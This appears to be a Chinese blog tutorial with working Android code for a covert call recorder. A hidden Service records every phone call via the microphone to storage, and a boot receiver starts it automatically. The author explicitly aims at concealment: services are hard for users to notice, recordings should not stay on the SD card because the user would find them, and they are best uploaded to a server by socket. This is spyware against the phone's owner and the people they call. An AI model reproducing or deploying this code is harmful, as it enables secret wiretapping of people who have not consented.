使用Android做一些小工具监听短信和电话是十分有趣的,上篇写了关于如何监听短信,今天要实现的是通过Android监听电话,即可以获取通话语音然后将语音进行处理,返回给监听者。
要实现电话监听器需要用到Android中的服务Service,服务和我们在Windows中的理解是一样的,即保持后台运行,没有用户界面。它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。
Android中的服务不能自己运行,需要通过调用Contex.startService()或Context.bindService()方法启动服务。这两个方法都可以启动service,但是它们的使用场合有所不同。使用startService()方法启动服务,访问者与服务之间没有关联,即使访问者退出了,服务仍然运行。使用bindService()方法启动服务,访问者与服务绑定在了一起,访问者一旦退出,服务也就终止。
采用Context.startService()方法启动服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。
在Android开发中使用服务分为两步:
1. 继承Service类:
public class defservice extends Service {}
2. 在AndroidManifest.xml文件中的<application>节点中对服务进行配置:
<service android:name=".defservice" />
下面我们就通过实例来看一下电话监听者的实现:
1. 创建一个用于监听电话状态并通过各种状态进行处理的service
1 package com.fanchangfa.phonelistener; 2 3 import java.io.File; 4 import java.io.IOException; 5 6 import android.app.Service; 7 import android.content.Context; 8 import android.content.Intent; 9 import android.media.MediaRecorder; 10 import android.os.Environment; 11 import android.os.IBinder; 12 import android.telephony.PhoneStateListener; 13 import android.telephony.TelephonyManager; 14 15 /** 16 * @author fanchangfa 17 * Android电话监听器 18 */ 19 public class Phone_listener extends Service { 20 21 @Override 22 public IBinder onBind(Intent arg0) { 23 // TODO Auto-generated method stub 24 return null; 25 } 26 27 @Override 28 public void onCreate() { 29 // TODO Auto-generated method stub 30 super.onCreate(); 31 32 //取得电话管理服务 33 TelephonyManager tele =(TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE); 34 35 //对呼叫状态进行监听 36 tele.listen(new phone_state_listener(), PhoneStateListener.LISTEN_CALL_STATE); 37 } 38 39 private final static class phone_state_listener extends PhoneStateListener{ 40 41 /*电话状态有三种 42 * 1. 来电 43 * 2. 接通(通话中) 44 * 3. 挂断 45 * */ 46 47 /* (non-Javadoc) 48 * @see android.telephony.PhoneStateListener#onCallStateChanged(int, java.lang.String) 49 * 状态改变时执行 50 */ 51 52 private String number; //记录来电号码 53 private MediaRecorder media; //录音对象 54 55 private File recorder_file; 56 57 @Override 58 public void onCallStateChanged(int state, String incomingNumber) { 59 super.onCallStateChanged(state, incomingNumber); 60 61 switch(state){ 62 case TelephonyManager.CALL_STATE_RINGING: 63 //来电状态 64 this.number = incomingNumber; 65 break; 66 67 case TelephonyManager.CALL_STATE_OFFHOOK: 68 //接通状态 69 70 /* 71 * 注意顺序:先实例化存储文件的目录及格式,再对各项参数进行设置 72 * */ 73 //实例化输出目录及文件名 74 recorder_file = new File(Environment.getExternalStorageDirectory() , 75 number + System.currentTimeMillis() + ".3gp"); 76 77 media = new MediaRecorder(); //实例化MediaRecorder对象 78 79 //设置录音来源:MIC 80 media.setAudioSource(MediaRecorder.AudioSource.MIC); 81 82 //设置录音格式为3gp格式 83 media.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); 84 85 //设置MediaRecorder的编码格式 86 media.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); 87 88 //设置输出目录 89 media.setOutputFile(recorder_file.getAbsolutePath()); 90 91 try { 92 media.prepare(); 93 } catch (IOException e) { 94 // TODO Auto-generated catch block 95 e.printStackTrace(); 96 } 97 98 media.start(); 99 100 break; 101 102 case TelephonyManager.CALL_STATE_IDLE: 103 //挂断电话 104 if(media != null){ //停止录音 105 media.stop(); 106 media.release(); 107 media = null; 108 } 109 break; 110 } 111 } 112 113 } 114 115 }
2. 在AndroidManifest.xml文件中添加服务以及权限:
1 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 2 package="com.fanchangfa.phonelistener" 3 android:versionCode="1" 4 android:versionName="1.0"> 5 6 <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="15" /> 7 8 <application android:label="@string/app_name" 9 android:icon="@drawable/ic_launcher" 10 android:theme="@style/AppTheme"> 11 12 <service android:name=".Phone_listener1"/> 13 14 <!-- 广播接受者:开启启动电话监听器 --> 15 <receiver android:name=".BootPhoneListener"> 16 <intent-filter > 17 <action android:name="android.intent.action.BOOT_COMPLETED"/> 18 </intent-filter> 19 </receiver> 20 21 </application> 22 <uses-permission android:name="android.permission.READ_PHONE_STATE"/> 23 <!-- 在SDCard中创建与删除文件权限 --> 24 <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> 25 <!-- 往SDCard写入数据权限 --> 26 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 27 <uses-permission android:name="android.permission.RECORD_AUDIO"/> 28 </manifest>
注意,以上权限一个不能少,必须全部加上。
3. 我们注意到在上面AndroidManifest.xml文件中有一个.BootPhoneListener的广播接受者,这是因为我们上面说的服务不能自己运行,必须要有东西来激活它,在这里我们添加一个开机的广播接收者,即每当开机时都会起动此服务:
1 package com.fanchangfa.phonelistener; 2 3 import android.content.BroadcastReceiver; 4 import android.content.Context; 5 import android.content.Intent; 6 7 /** 8 * @author fanchangfa 9 * 广播接受者-开机时启动电话监听器 10 */ 11 public class BootPhoneListener extends BroadcastReceiver { 12 13 @Override 14 public void onReceive(Context context, Intent intent) { 15 // TODO Auto-generated method stub 16 Intent phone_listener = new Intent(context , Phone_listener1.class); 17 context.startService(phone_listener); 18 } 19 20 }
4.基本到此就大功告成了,不过在电话结束后没有对录音进行处理,只是保存在手机上,如果真正应用到监听器上,我们的录音是不能保存到SDCard上的,因为这样极容易被用户发现,通过FTP上传由于有时候用户通话可能超过一小时,所以文件比较大,最好的办法是通过Socket上传到服务器端。有兴趣的可以继续深入。下面我们进行测试,看一下效果,呵呵~
现在有两个模拟器,一个5554,一个5556,我们把应用部署到5554上,然后再重启5554,此时服务才会启动:
5556call5554界面
文件系统界面
把选中的3gp文件导出,用播放器播放一下试试~~